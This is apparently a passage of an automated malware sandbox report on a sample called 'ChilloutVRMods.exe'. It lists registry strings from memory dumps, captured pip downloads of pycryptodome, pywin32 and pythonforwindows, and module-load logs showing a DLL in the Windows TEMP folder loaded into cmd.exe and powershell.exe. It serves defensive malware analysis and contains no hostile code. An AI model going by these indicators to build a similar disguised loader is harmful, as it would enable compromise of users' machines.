00000000-00004788.00000001.201237.40A73000.00000002.mdmp "\REGISTRY\USER\S-1-5-21-1271187874-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00004788.00000001.201237.7C580000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00004788.00000001.201237.7E8E0000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00004788.00000001.201237.7E8E0000.00000004.mdmp "y\Machine\Software\Classes\AppID\tasklist.exe" in Source: 00000000-00005868.00000000.200309.9418E000.00000004.mdmp "egistry\Machine\Software\Classes\WOW6432Node\CLSID\{00000339-0000-0000-C000-000000000" in Source: 00000000-00005868.00000000.200309.9419C000.00000004.mdmp "SOFTWARE\Microsoft\WBEM\CIMOM" in Source: 00000000-00005868.00000000.200309.943D0000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00005884.00000000.195832.40A73000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00005884.00000000.195832.40A73000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00005884.00000000.195832.40A73000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00005884.00000000.195832.40A73000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00005884.00000000.195832.40A73000.00000002.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00005884.00000000.195832.40A73000.00000002.mdmp "\REGISTRY\USER\S-1-5-21-1271187874-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00005884.00000000.195832.F4190000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00005884.00000000.195832.F6520000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00005884.00000000.195832.F6520000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-1271187874-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00005884.00000001.195902.F4190000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00005884.00000001.195902.F6520000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00005884.00000001.195902.F6520000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{FAE3D380-FEA4-4623-8C75-C6B61110B681}\Instance" in Source: 00000000-00005884.00000001.195902.F65EA000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{6D68D1DE-D432-4B0F-923A-091183A9BDA7}" in Source: 00000000-00005884.00000001.195902.F67C2000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{7693E886-51C9-4070-8419-9F70738EC8FA}" in Source: 00000000-00005884.00000001.195902.F67C2000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{ED822C8C-D6BE-4301-A631-0E1416BAD28F}" in Source: 00000000-00005884.00000001.195902.F67C2000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{FAE3D380-FEA4-4623-8C75-C6B61110B681}" in Source: 00000000-00005884.00000001.195902.F67C2000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{C17CABB2-D4A3-47D7-A557-339B2EFBD4F1}" in Source: 00000000-00005884.00000001.195902.F67C2000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{9CB5172B-D600-46BA-AB77-77BB7E3A00D9}" in Source: 00000000-00005884.00000001.195902.F67C2000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{076C2A6C-F78F-4C46-A723-3583E70876EA}" in Source: 00000000-00005884.00000001.195902.F67C2000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{AA94DCC2-B8B0-4898-B835-000AABD74393}" in Source: 00000000-00005884.00000001.195902.F67C2000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{72B624DF-AE11-4948-A65C-351EB0829419}" in Source: 00000000-00005884.00000001.195902.F67C2000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider\Microsoft Strong Cryptographic Provider" in Source: 00000000-00005884.00000001.195902.F6809000.00000004.mdmp "REGISTRY\USER\S-1-5-21-1271187874-1938232448-3812392235-1001\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00007912.00000000.195055.DFFE0000.00000004.mdmp "y\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\SdbUpdates\ManifestedMergeStubSdbs" in Source: 00000000-00007912.00000000.195055.DFFE0000.00000004.mdmp "REGISTRY\USER\S-1-5-21-1271187874-1938232448-3812392235-1001\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00007912.00000001.196978.DFFE0000.00000004.mdmp "y\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\SdbUpdates\ManifestedMergeStubSdbs" in Source: 00000000-00007912.00000001.196978.DFFE0000.00000004.mdmp "REGISTRY\USER\S-1-5-21-1271187874-1938232448-3812392235-1001\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00007912.00000002.198897.DFFE0000.00000004.mdmp "y\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\SdbUpdates\ManifestedMergeStubSdbs" in Source: 00000000-00007912.00000002.198897.DFFE0000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\AeDebug\AutoExclusionList" in Source: 00000000-00007912.00000002.198897.E209D000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\AeDebug" in Source: 00000000-00007912.00000002.198897.E209D000.00000002.mdmp "SOFTWARE\Microsoft\Windows\Windows Error Reporting\DebugApplications" in Source: 00000000-00007912.00000002.198897.E209D000.00000002.mdmp "SOFTWARE\Policies\Microsoft\Windows\Windows Error Reporting\DebugApplications" in Source: 00000000-00007912.00000002.198897.E209D000.00000002.mdmp "SOFTWARE\Classes\" in Source: 00000000-00007912.00000002.198897.E209D000.00000002.mdmp "SOFTWARE\dotnet" in Source: 00000000-00007912.00000002.198897.E209D000.00000002.mdmp "HKCU\" in Source: 00000000-00007912.00000002.198897.E209D000.00000002.mdmp "HKLM\" in Source: 00000000-00007912.00000002.198897.E209D000.00000002.mdmp "REGISTRY\USER\S-1-5-21-1271187874-1938232448-3812392235-1001\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00007912.00000003.201323.DFFE0000.00000004.mdmp "y\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\SdbUpdates\ManifestedMergeStubSdbs" in Source: 00000000-00007912.00000003.201323.DFFE0000.00000004.mdmp41:T861," python 3.10.0 Python Python Software Foundation false tools\LICENSE.txt https://aka.ms/deprecateLicenseUrl images\python.png https://www.python.org/ https://www.python.org/static/favicon.ico Installs 64-bit Python for use in build scenarios. python " (Indicator: "github.com") "from typing import List, Optionalimport pip._internal.utils.inject_securetransport # noqafrom pip._internal.utils import _log# init_logging() must be called before any call to logging.getLogger()# which happens at import of most modules._log.init_logging()def main(args: (Optional[List[str]]) = None) -> int: """This is preserved for old console scripts that may still be referencing it. For additional details see https://github.com/pypa/pip/issues/7498. """ from pip._internal.utils.entrypoints import _wrapper return _wrapper(args)" (Indicator: "github.com") "from typing import List, Optional__version__ = "21.2.3"def main(args: Optional[List[str]] = None) -> int: """This is an internal API only meant for use by pip's own console scripts. For additional details see https://github.com/pypa/pip/issues/7498. """ from pip._internal.utils.entrypoints import _wrapper return _wrapper(args)" (Indicator: "github.com") "from typing import List, Optionaldef main(args=None): # type: (Optional[List[str]]) -> int """This is preserved for old console scripts that may still be referencing it. For additional details see https://github.com/pypa/pip/issues/7498. """ from pip._internal.utils.entrypoints import _wrapper return _wrapper(args)" (Indicator: "github.com")42:T2769,"GET /simple/pycryptodome/ HTTP/1.1 Host: pypi.org User-Agent: pip/21.2.3 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.10.0"},"installer":{"name":"pip","version":"21.2.3"},"openssl_version":"OpenSSL 1.1.1l 24 Aug 2021","python":"3.10.0","setuptools_version":"57.4.0","system":{"name":"Windows","release":"10"}} Accept-Encoding: gzip, deflate Accept: text/html Connection: keep-alive Cache-Control: max-age=0" Response ==> HTTP/1.1 200 OK Connection: keep-alive Content-Length: 142641 access-control-allow-headers: Content-Type If-Match If-Modified-Since If-None-Match If-Unmodified-Since access-control-allow-origin: * content-encoding: gzip access-control-expose-headers: X-PyPI-Last-Serial x-pypi-last-serial: 29106863 access-control-max-age: 86400 access-control-allow-methods: GET etag: "fTYY3uksYcLGg3f56izkJw" content-security-policy: default-src 'none'; sandbox allow-top-navigation referrer-policy: origin-when-cross-origin cache-control: max-age=600 public Accept-Ranges: bytes Date: Tue 01 Sep 2026 16:21:53 GMT X-Served-By: cache-iad-kjyo7100056-IAD cache-iad-kjyo7100056-IAD cache-lax-kwhp1940029-LAX X-Cache: MISS HIT HIT X-Cache-Hits: 0 512 1 X-Timer: S1788279713.031250 VS0 VE2 Content-Type: text/html Vary: Accept-Encoding Accept Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Permitted-Cross-Domain-Policies: none Permissions-Policy: publickey-credentials-create=(self) publickey-credentials-get=(self) accelerometer=() ambient-light-sensor=() autoplay=() battery=() camera=() display-capture=() document-domain=() encrypted-media=() execution-while-not-rendered=() execution-while-out-of-viewport=() fullscreen=() gamepad=() geolocation=() gyroscope=() hid=() identity-credentials-get=() idle-detection=() local-fonts=() magnetometer=() microphone=() midi=() otp-credentials=() payment=() picture-in-picture=() screen-wake-lock=() serial=() speaker-selection=() storage-access=() usb=() web-share=() xr-spatial-tracking=() with response body ==>3C21444F43545950452068746D6C3E0A3C68746D6C206C616E673D22656E223E0A20203C686561643E0A202020203C6D657461206E616D653D22707970693A72....... "GET /simple/pywin32/ HTTP/1.1 Host: pypi.org User-Agent: pip/21.2.3 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.10.0"},"installer":{"name":"pip","version":"21.2.3"},"openssl_version":"OpenSSL 1.1.1l 24 Aug 2021","python":"3.10.0","setuptools_version":"57.4.0","system":{"name":"Windows","release":"10"}} Accept-Encoding: gzip, deflate Accept: text/html Connection: keep-alive Cache-Control: max-age=0" Response ==> HTTP/1.1 200 OK Connection: keep-alive Content-Length: 27250 cache-control: max-age=600 public etag: "qEpnP/L7SzfUvxKfijPh6Q" server: gunicorn x-pypi-last-serial: 37702950 access-control-allow-methods: GET content-encoding: gzip access-control-allow-headers: Content-Type If-Match If-Modified-Since If-None-Match If-Unmodified-Since referrer-policy: origin-when-cross-origin access-control-max-age: 86400 content-security-policy: default-src 'none'; sandbox allow-top-navigation access-control-allow-origin: * access-control-expose-headers: X-PyPI-Last-Serial Accept-Ranges: bytes Date: Tue 01 Sep 2026 16:21:53 GMT X-Served-By: cache-iad-kiad7000021-IAD cache-iad-kiad7000021-IAD cache-iad-kiad7000100-IAD cache-lax-kwhp1940125-LAX X-Cache: MISS HIT HIT X-Cache-Hits: 0 14848 1 X-Timer: S1788279713.032049 VS0 VE1 Content-Type: text/html Vary: Accept-Encoding Accept Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Permitted-Cross-Domain-Policies: none Permissions-Policy: publickey-credentials-create=(self) publickey-credentials-get=(self) accelerometer=() ambient-light-sensor=() autoplay=() battery=() camera=() display-capture=() document-domain=() encrypted-media=() execution-while-not-rendered=() execution-while-out-of-viewport=() fullscreen=() gamepad=() geolocation=() gyroscope=() hid=() identity-credentials-get=() idle-detection=() local-fonts=() magnetometer=() microphone=() midi=() otp-credentials=() payment=() picture-in-picture=() screen-wake-lock=() serial=() speaker-selection=() storage-access=() usb=() web-share=() xr-spatial-tracking=() with response body ==>3C21444F43545950452068746D6C3E0A3C68746D6C206C616E673D22656E223E0A20203C686561643E0A202020203C6D657461206E616D653D22707970693A72....... "GET /packages/33/b1/7afc96d041d982c27bc2df6f853d43f01fd273e3d39d04be3647ddeb533d/pywin32-312-cp310-cp310-win_amd64.whl HTTP/1.1 Host: files.pythonhosted.org User-Agent: pip/21.2.3 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.10.0"},"installer":{"name":"pip","version":"21.2.3"},"openssl_version":"OpenSSL 1.1.1l 24 Aug 2021","python":"3.10.0","setuptools_version":"57.4.0","system":{"name":"Windows","release":"10"}} Accept-Encoding: identity Accept: */* Connection: keep-alive" Response ==> HTTP/1.1 200 OK Connection: keep-alive Content-Length: 6926780 Server: nginx Content-Type: application/octet-stream Last-Modified: Thu 04 Jun 2026 07:49:19 GMT ETag: "82a1b2b3fa0bd3ed552ad2c158f68d1a" x-amz-request-id: a5c80f0c4215b279 x-amz-id-2: aN6hjDzGiNohmaDEKMKVkgGY8Ywcwnjhd x-amz-version-id: 4_z179c51e67f11a0ad8f6c0018_f1002c4e133594b08_d20260604_m074919_c005_v0501026_t0004_u01780559359400 Cache-Control: max-age=365000000 immutable public Accept-Ranges: bytes Age: 416822 Date: Tue 01 Sep 2026 16:21:53 GMT X-Served-By: cache-iad-kjyo7100084-IAD cache-lax-kwhp1940092-LAX X-Cache: HIT HIT X-Cache-Hits: 27 0 X-Timer: S1788279713.353027 VS0 VE1 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Robots-Header: noindex Access-Control-Allow-Methods: GET OPTIONS Access-Control-Allow-Headers: Range Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length Content-Range Accept-Ranges x-pypi-file-python-version: cp310 x-pypi-file-version: 312 x-pypi-file-package-type: bdist_wheel x-pypi-file-project: pywin32 with response body ==>504B0304140000000800703CC3845CC2B6C3837E646FC3922400C2815328000B000000507957696E33322E63686DC2ACC2BD097C1445C3BAC3B8C29D40C2801C....... "GET /packages/01/3b/bf4a9a401ea2cd867aa4522a97ffa2f5b60a38c3249887f77f0f997d7743/pythonforwindows-1.0.4-py3-none-any.whl HTTP/1.1 Host: files.pythonhosted.org User-Agent: pip/21.2.3 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.10.0"},"installer":{"name":"pip","version":"21.2.3"},"openssl_version":"OpenSSL 1.1.1l 24 Aug 2021","python":"3.10.0","setuptools_version":"57.4.0","system":{"name":"Windows","release":"10"}} Accept-Encoding: identity Accept: */* Connection: keep-alive" Response ==> HTTP/1.1 200 OK Connection: keep-alive Content-Length: 750759 Server: nginx Content-Type: application/octet-stream Last-Modified: Thu 14 Aug 2025 09:14:43 GMT ETag: "4dda2c3a725241273f8bfca5e9be8334" x-amz-request-id: 7edbf84c2df7aef5 x-amz-id-2: aN3ZjPDEdNsVmWzFvMPdkmWapY9MwRzjM x-amz-version-id: 4_z179c51e67f11a0ad8f6c0018_f1036e39c805e681f_d20250814_m091443_c005_v0501027_t0056_u01755162883392 Cache-Control: max-age=365000000 immutable public Accept-Ranges: bytes Age: 1011730 Date: Tue 01 Sep 2026 16:21:53 GMT X-Served-By: cache-iad-khef600087-IAD cache-lax-kwhp1940064-LAX X-Cache: HIT HIT X-Cache-Hits: 1024 0 X-Timer: S1788279713.365175 VS0 VE1 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Robots-Header: noindex Access-Control-Allow-Methods: GET OPTIONS Access-Control-Allow-Headers: Range Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length Content-Range Accept-Ranges x-pypi-file-python-version: py3 x-pypi-file-version: 1.0.4 x-pypi-file-package-type: bdist_wheel x-pypi-file-project: pythonforwindows with response body ==>504B0304140000000800C298480E5B367F19C38E0A0000000800000031000000707974686F6E666F7277696E646F77732D312E302E342E646973742D696E666F....... "GET /packages/54/2f/e97a1b8294db0daaa87012c24a7bb714147c7ade7656973fd6c736b484ff/pycryptodome-3.23.0-cp37-abi3-win_amd64.whl HTTP/1.1 Host: files.pythonhosted.org User-Agent: pip/21.2.3 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.10.0"},"installer":{"name":"pip","version":"21.2.3"},"openssl_version":"OpenSSL 1.1.1l 24 Aug 2021","python":"3.10.0","setuptools_version":"57.4.0","system":{"name":"Windows","release":"10"}} Accept-Encoding: identity Accept: */* Connection: keep-alive" Response ==> HTTP/1.1 200 OK Connection: keep-alive Content-Length: 1799636 Server: nginx Content-Type: application/octet-stream Last-Modified: Sat 17 May 2025 17:21:13 GMT ETag: "a88c7b864ae5ad93053b8462f751fcce" x-amz-request-id: 526b2572a72bb247 x-amz-id-2: aN0pjmzHZNulmvjG0MPRkqWbOY74w4jhk x-amz-version-id: 4_z179c51e67f11a0ad8f6c0018_f116eb3ca728d6686_d20250517_m172113_c005_v0501029_t0027_u01747502473769 Cache-Control: max-age=365000000 immutable public Accept-Ranges: bytes Age: 664480 Date: Tue 01 Sep 2026 16:21:54 GMT X-Served-By: cache-iad-kcgs7200065-IAD cache-lax-kwhp1940034-LAX X-Cache: HIT HIT X-Cache-Hits: 7165 0 X-Timer: S1788279714.002110 VS0 VE2 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Robots-Header: noindex Access-Control-Allow-Methods: GET OPTIONS Access-Control-Allow-Headers: Range Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length Content-Range Accept-Ranges x-pypi-file-python-version: cp37 x-pypi-file-version: 3.23.0 x-pypi-file-package-type: bdist_wheel x-pypi-file-project: pycryptodome with response body ==>504B0304140000000800C2B875C2B15A40C29BC3BF3CC293000000C2BF0000001200000043727970746F2F5F5F696E69745F5F2E70794D4E4D0BC382300CC2BD.......43:T624e,"ChilloutVRMods.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ff9bb5c0000 "ChilloutVRMods.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ff9e0140000 "ChilloutVRMods.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ff9e0140000 "ChilloutVRMods.exe" loaded module "KERNEL32.DLL" at base 7ff9e0de0000 "ChilloutVRMods.exe" loaded module "KERNEL32" at base 7ff9e0de0000 "ChilloutVRMods.exe" loaded module "NTDLL" at base 7ff9e29b0000 "ChilloutVRMods.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 7ff9e10c0000 "ChilloutVRMods.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2" at base 7ff9dee20000 "ChilloutVRMods.exe" loaded module "ADVAPI32.DLL" at base 7ff9e2240000 "ChilloutVRMods.exe" loaded module "BCRYPT.DLL" at base 7ff9df6b0000 "ChilloutVRMods.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7ff9e0610000 "ChilloutVRMods.exe" loaded module "NTDLL.DLL" at base 7ff9e29b0000 "ChilloutVRMods.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 7ff9dd260000 "zeppskdd.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ff9bb5c0000 "zeppskdd.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ff9e0140000 "zeppskdd.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ff9e0140000 "zeppskdd.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ff9e0140000 "zeppskdd.exe" loaded module "KERNEL32" at base 7ff9e0de0000 "zeppskdd.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 7ff9e0140000 "zeppskdd.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 7ff9e0140000 "zeppskdd.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 7ff9e0140000 "zeppskdd.exe" loaded module "POWRPROF.DLL" at base 7ff9dfcb0000 "zeppskdd.exe" loaded module "USER32.DLL" at base 7ff9e0f10000 "zeppskdd.exe" loaded module "WS2_32.DLL" at base 7ff9e18d0000 "zeppskdd.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ff9dd400000 "zeppskdd.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 7ff9df290000 "zeppskdd.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2" at base 7ff9dee20000 "zeppskdd.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7ff9e0610000 "zeppskdd.exe" loaded module "NTDLL.DLL" at base 7ff9e29b0000 "zeppskdd.exe" loaded module "IPHLPAPI.DLL" at base 7ff9de940000 "zeppskdd.exe" loaded module "ADVAPI32.DLL" at base 7ff9e2240000 "zeppskdd.exe" loaded module "RPCRT4.DLL" at base 7ff9e24f0000 "zeppskdd.exe" loaded module "KERNEL32.DLL" at base 7ff9e0de0000 "zeppskdd.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 7ff9d9950000 "zeppskdd.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 7ff9d8630000 "zeppskdd.exe" loaded module "%WINDIR%\SYSTEM32\NAPINSP.DLL" at base 7ff9c52a0000 "zeppskdd.exe" loaded module "%WINDIR%\SYSTEM32\PNRPNSP.DLL" at base 7ff9c3670000 "zeppskdd.exe" loaded module "%WINDIR%\SYSTEM32\WINRNR.DLL" at base 7ff9c34c0000 "zeppskdd.exe" loaded module "%WINDIR%\SYSTEM32\WSHBTH.DLL" at base 7ff9c6de0000 "zeppskdd.exe" loaded module "%WINDIR%\SYSTEM32\NLANSP_C.DLL" at base 7ff9c3490000 "zeppskdd.exe" loaded module "KERNELBASE" at base 7ff9e0140000 "zeppskdd.exe" loaded module "%WINDIR%\SYSTEM32\PERFOS.DLL" at base 7ff9cbaf0000 "zeppskdd.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 7ff9dd260000 "zeppskdd.exe" loaded module "SSPICLI.DLL" at base 7ff9df070000 "cmd.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ff9bb5c0000 "cmd.exe" loaded module "KERNEL32.DLL" at base 7ff9e0de0000 "cmd.exe" loaded module "NTDLL.DLL" at base 7ff9e29b0000 "cmd.exe" loaded module "KERNELBASE" at base 7ff9e0140000 "cmd.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2" at base 7ff9dee20000 "powershell.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ff9bb5c0000 "powershell.exe" loaded module "ADVAPI32.DLL" at base 7ff9e2240000 "powershell.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ff9e0140000 "powershell.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ff9e0140000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ff9e0140000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base 7ff9b80e0000 "powershell.exe" loaded module "SHLWAPI.DLL" at base 7ff9e22f0000 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 7ff9dee20000 "powershell.exe" loaded module "VERSION.DLL" at base 7ff9d4700000 "powershell.exe" loaded module "KERNEL32" at base 7ff9e0de0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLR.DLL" at base 7ff9ac640000 "powershell.exe" loaded module "USER32.DLL" at base 7ff9e0f10000 "powershell.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 7ff9e0140000 "powershell.exe" loaded module "MSCOREE.DLL" at base 7ff9bb360000 "powershell.exe" loaded module "NTDLL" at base 7ff9e29b0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 7ff9e10c0000 "powershell.exe" loaded module "PSAPI.DLL" at base 7ff9e0b60000 "powershell.exe" loaded module "RPCRT4.DLL" at base 7ff9e24f0000 "powershell.exe" loaded module "KERNEL32.DLL" at base 7ff9e0de0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MSCORLIB\3B9003E4F27D92E40668F0EFAD11E022\MSCORLIB.NI.DLL" at base 7ff9ab080000 "powershell.exe" loaded module "OLE32.DLL" at base 7ff9e0960000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 7ff9e10c0000 "powershell.exe" loaded module "OLEAUT32.DLL" at base 7ff9e1950000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM\CE0FD4F5B50BAA17E7B80E4EE874AD11\SYSTEM.NI.DLL" at base 7ff9aa460000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CORE\990501E6199819806F01C8ECAC88BAAC\SYSTEM.CORE.NI.DLL" at base 7ff9a99d0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PB378EC07#\86AF2F4F2745738837C95F24472C32CA\MICROSOFT.POWERSHELL.CONSOLEHOST.NI.DLL" at base 7ff9b5550000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ff9ded90000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7ff9e0610000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAA57FC8CC#\EA893D7E336A196C927C3F1251A1D1A9\SYSTEM.MANAGEMENT.AUTOMATION.NI.DLL" at base 7ff9a7950000 "powershell.exe" loaded module "COMBASE.DLL" at base 7ff9e10c0000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 7ff9e10c0000 "powershell.exe" loaded module "NTDLL.DLL" at base 7ff9e29b0000 "powershell.exe" loaded module "SHELL32.DLL" at base 7ff9e1a30000 "powershell.exe" loaded module "WINTRUST.DLL" at base 7ff9e00d0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 7ff9dfe70000 "powershell.exe" loaded module "AMSI.DLL" at base 7ff9d2500000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 7ff9d4700000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.18.23090.2008-0\MPOAV.DLL" at base 7ff9d2480000 "powershell.exe" loaded module "WLDP.DLL" at base 7ff9df5c0000 "powershell.exe" loaded module "CRYPT32.DLL" at base 7ff9dfe70000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\MSISIP.DLL" at base 7ff9bedf0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WSHEXT.DLL" at base 7ff9bb120000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\DB9W4QST.DLL" at base 7ff9beaa0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\APPXSIP.DLL" at base 7ff9b9e00000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\PWRSHSIP.DLL" at base 7ff9cb1f0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.MF49F6405#\F4889FA032F8023FE280A54700D6D3A5\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 7ff9b3800000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAGEMENT\6287E09015A311A64C4FE0304818F8C3\SYSTEM.MANAGEMENT.NI.DLL" at base 7ff9b2e90000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DIRED13B18A9#\2D1FF2AB3131DE6A507F22CCC53B273A\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base 7ff9a77e0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.XML\F0078C8C05B31633E5966C5629E65602\SYSTEM.XML.NI.DLL" at base 7ff9a6f30000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\2A25B59872A72DA9B55F952AB1B0BC8B\SYSTEM.CONFIGURATION.NI.DLL" at base 7ff9a6df0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DATA\BF3D2E6042D943E0FEC9CCC0D72C8F3B\SYSTEM.DATA.NI.DLL" at base 7ff9a6460000 "powershell.exe" loaded module 